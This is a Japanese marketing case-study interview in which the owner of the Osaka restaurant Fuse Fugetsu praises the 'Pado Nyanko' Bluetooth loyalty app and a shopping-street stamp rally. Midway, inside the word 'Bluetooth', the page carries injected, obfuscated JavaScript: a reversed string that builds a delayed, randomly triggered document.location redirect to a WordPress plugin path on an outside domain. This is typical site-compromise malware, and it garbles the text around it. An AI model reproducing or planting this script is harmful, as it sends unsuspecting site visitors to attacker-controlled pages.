老舗の飲食店で、常連客の囲い込み・リピーター獲得に貢献。
布施風月 さん
創業当時からの伝統の味を守りつつ、オリジナリティあふれるメニュー開発にも取り組み、地域の人気店となった大阪府東大阪市の「布施風月」さん。「ぱどにゃんこ」導入以降、アプリダウンロード、「スタンプ」「くじびき」の利用促進を積極的に推進され、常連客の囲い込み、リピーターの獲得が順調です。今回はオーナーの辻さまにお話を伺いました。
お客様への情報発信、コミュニケーションの課題を「ぱどにゃんこ」が解決。
―― 「ぱどにゃんこ」の導入以前はどのように販促をしていたのですか?
2014年に「ぱど」さんの「商売名人」を活用して、当店のホームページを立ち上げました。ホームページ上にお店の情報を掲載するだけでなく、お客様にお得な情報をメールで配信するといった方法を取っていました。メール配信などの効果はたしかにあるのですが、当店は夫婦で経営しているお店ですから、とにかく忙しくて…。なかなか思うように情報発信をすることができずにいましたね。
―― 「ぱどにゃんこ」を導入いただく決め手となったポイントは?
「ぱど」のスタッフさんに、「お客様管理や情報発信などの方法を、できるだけ簡単に、充実させる方法はないか?」と相談したとき、「ぱどにゃんこ」を紹介していただきました。店頭に、Bluetoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.rantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toothを使ってお客様のスマートフォンと自動で通信してくれる“招き猫”を置き、お客様に専用アプリをダウンロードいただくだけで、ご来店の度に自動でアプリで使えるにゃんコインが貯まったり、「くじびき」機能でお店の特典や豪華な景品が当たったり…そんな便利なものがあって、お客様に喜んでいただけると聞けば、試してみるしかないですよね。
―― 「ぱどにゃんこ」に対するお客様の反応はいかがでしたか?
まずは常連のお客様に「ぱどにゃんこ」のご説明をさせていただいたのですが、スマートフォンをお持ちの方は、皆さん進んでアプリをダウンロードしてくださいました。実際にご利用いただいたお客様は、便利さやお得感から、身近な方に紹介してくださっています。さらに、「ぱど」のスタッフさんが作ってくれた、「ぱどにゃんこ」活用のPOPを店内に掲示したところ、お好み焼きができるまでの間に、POPを見ながらアプリをダウンロードしたり、早速「くじびき」で景品を当てたりして楽しんでいただけました。思った以上に好意的な反応があるので、導入して良かったと思います。
―― 「ぱどにゃんこ」はどのような形で貢献できているでしょうか?
とても簡単にポイントが貯まり、楽しみながら特典がもらえるということで、以前にも増してご来店のメリットを感じていただけているようですね。私としても、食事を楽しんでいただく他に、お客様に新たな楽しみを提供できていることが嬉しいです。「ぱどにゃんこ」のおかげで、たくさんのお客様に「布施風月で食事をすると、必ず得をする」という認識を持っていただき、リピーターになってくださるお客様も増えています。
「ぱどにゃんこ」を商店街全体でも活用。地域密着型の販促には「ぱど」がベスト。
―― 商店街全体の販促にも「ぱどにゃんこ」をご利用いただいたそうですね。
「ぱどにゃんこ」導入の成果を、商店街(ポッポアベニュー)に出店しているオーナーが集まる会議の場で発表したところ、「商店街全体で『ぱどにゃんこ』を使ったイベントを」という流れになったんです。そこで、2016年4月から5月末までの間に、ポッポアベニューの飲食店を中心に、12の店舗でスタンプラリーを実施しました。5店舗を回って、スマホで5つスタンプが貯まると500円分の金券をプレゼントするというものでした。これをきっかけに、ポッポアベニューをご利用いただくお客様と、出店している店舗の間に「ぱどにゃんこ」の良さが伝わり、ポッポアベニューが活気づけば良いなと思います。
――「ぱど」のスタッフのサポートにはご満足いただいていますか?
当店を担当いただいているスタッフさんには、当店のファンになっていただいています(笑)。日頃のサポート以外にも、お知り合いの方や、有名なブロガーさんなどを連れてご来店いただいているんです。もちろん、「ぱど」さんのスタッフとしてのサポートにも満足しています。他店の成功事例や便利な使い方をはじめ、販促活動に役立つ情報を定期的に提供してくださったり、きめ細かいサポートやアドバイスが的確で助かっています。成功事例として教えていただいたお店には、実際に足を運んだりして、自分の目で確かめて、良いところは取り入れるようにしています。
「ぱど」以外の媒体も同時に活用なさっているのでしょうか?
販促で活用している媒体は「ぱど」さんだけですね。超大手のサービスも売り込みに来られたのですが、当店のように狭い商圏の少ないお客様を大切にする“地域密着型”の店舗には、地域をより深く掘り下げて情報を提供している「ぱど」さんのほうが向いているのは間違いありません。ホームページ制作会社からも「独自のホームページを作りませんか?」と声をかけてきたりもしますが、ただ単にホームページを作ったところで、お客様に「見てもらう」「使ってもらう」ことができなければ意味がありません。そう考えると、「ぱど」さんと「ぱどにゃんこ」が当店にとってベストな選択肢だと思います。
―― 「ぱど」や「ぱどにゃんこ」を検討中の方にアドバイスをお願いします。
「ぱど」に情報を掲載したり、「ぱどにゃんこ」を導入・設置すれば、リピーター獲得などの販促活動に大いに役立つことは間違いありません。ただし、日頃からお客様に対して、それらを使った情報提供やサービス提供を行っていることを、地道にアピールしていくことは欠かせません。それと同時に、「ぱど」や「ぱどにゃんこ」を使って「どうすればお客様に喜んでいただけるか?」を考え、企画を実行していくことが大切です。パソコンやスマホといった“デジタル”なツールを活かすためには、お客様への「声がけ」「触れ合い」といった“アナログ”な取り組みも必要ということも忘れないで欲しいですね。ただ、成果はきちんと出てくるので、やりがいは大きいと思いますよ。